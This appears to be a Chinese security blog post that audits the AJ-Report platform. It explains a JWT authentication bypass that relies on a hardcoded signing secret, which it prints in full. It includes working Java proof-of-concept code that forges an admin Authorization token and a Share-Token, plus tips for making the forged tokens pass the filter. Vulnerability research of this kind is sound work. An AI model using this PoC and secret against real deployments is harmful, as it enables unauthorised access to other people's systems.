Loading

AJ-Report-JWT认证绕过

JWT密钥硬编码,加密算法失效。
对代码审计而言,加密算法的安全性取决于密钥的机密性。

{
  "header": {
    "typ": "JWT",
    "alg": "HS256"
  },
  "payload": {
    "type": 0,
    "uuid": "04ad4a8524694c05bd6896d582a2f784",
    "tenant": "tenantCode",
    "username": "admin"
  },
  "signature": "E6CEsWBjmC9Bb8hquH3T9PtJ9jqt8_5dG_lTeQVK5RE",
  "verified": false,
  "secret": ""
}

编译后的源码无法直接搜索密钥关键字,那么那如何快速拿到密钥?
针对硬编码寻找密钥的几种方法

方法一:下载源码

直接Github下载源码,这样的函数一定是有索引的,可以根据函数索引直接引走到存密钥的地方。
注:密钥是在sign方法里面传入的,withClaim是声明paylaod字段。

public String createToken(String username, String uuid, Integer type, String tenantCode) {
	String token = JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));
	return token;
}
public class Security {
	private String jwtSecret = "anji_plus_gaea_p@ss1234";
}

方法二:递归解压jar包

由于IDEA无法为嵌套的jar文件编制索引,找到主程序的jar后,可以对其子目录下的jar全部递归解压掉再用idea打开,这样就能搜索关键字了。
可以写个脚本完成,后面再补上。

方法三:动态调试

image.png

POC

伪造Authorization

根据jWT的生成逻辑
AccessUserServiceImpl#login

// 生成用户token
String uuid = GaeaUtils.UUID();
token = jwtBean.createToken(loginName, uuid, 0, GaeaConstant.TENANT_CODE);  //JWT密钥硬编码,可伪造jwt
cacheHelper.stringSetExpire(tokenKey, token, 3600);

一开始我以为这里的GaeaConstant.TENANT_CODE是密钥,其实它不是,只是payload中的一个字段,见下面这个函数。
JwtBean.class#createToken

public String createToken(String username, String uuid, Integer type, String tenantCode) {
    String token = JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));
    return token;
}

新建maven工程,导入JWT依赖

<dependency>
    <groupId>com.auth0</groupId>
    <artifactId>java-jwt</artifactId>
    <version>4.4.0</version>
</dependency>

输入上面得到的密钥,按照规定的格式生成就可以了。

public static void main(String[] args)  {
    String username  ="admin";
    String uuid = UUID.randomUUID().toString().replaceAll("\\-", "");
    String type = "1";
    String tenantCode = "tenantCode";
    String token = JWT.create().withClaim("username", username).
            withClaim("uuid", uuid).withClaim("type", type).
            withClaim("tenant", tenantCode).
            sign(Algorithm.HMAC256("anji_plus_gaea_p@ss1234"));
    System.out.println(token);
}

image.png

伪造ShareToken

注意这里Filter还有一个逻辑,如果缓存不存在(管理员token过期或管理员最近根本未登陆过)会判断传入shareToken的正确性,也就是分享连接。
要达到无限制的认证绕过,必须要过掉这个shareToken的检测。

if (!this.cacheHelper.exist(tokenKey)) {
    if (StringUtils.isNotBlank(shareToken)) {
        List<String> reportCodeList = JwtUtil.getReportCodeList(shareToken);
        if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview")) {
            Stream var10000 = reportCodeList.stream();
            uri.getClass();
            if (var10000.noneMatch(uri::contains)) {
                ResponseBean responseBean = ResponseBean.builder().code("50014").message("分享链接已过期").build();
                response.getWriter().print(JSONObject.toJSONString(responseBean));
                return;
            }
        }

        filterChain.doFilter(request, response);
    } else {
        this.error(response);
    }
}

全局搜索shareToken,发现ReportShareServiceImpl#init有生成,这里实际上还是传入字符串,不用构造entity对象。
image.png
不是未授权接口,那么只有伪造了。
image.png
现在密钥有了,要解决问题的只是加密前的数据如何构造。
注意这里的JWT库与前面不一样!

String ReportCode = "/dataSetParam/verification";
String shareCode = "1";
String SharePassword = "1";
Calendar calendar = Calendar.getInstance();
calendar.add(Calendar.DAY_OF_MONTH, 3); // 增加3天
Date ShareValidTime = calendar.getTime();
String shareToken = JwtUtil.createToken(ReportCode, shareCode, SharePassword, ShareValidTime);
System.out.println(shareToken);

加上头部字段Share-Token
image.png

小坑点

如果不按照代码中JWT的生成逻辑的话可能会出错,通过Filter是没问题的,但在后面的控制器中,若再次使用payload中其他的字段鉴权。
则会造成JWT失效,所以最好的方式就是通过源代码逻辑生成。
image.png

posted @ 2024-05-31 00:10  _rainyday  阅读(27)  评论(0编辑  收藏  举报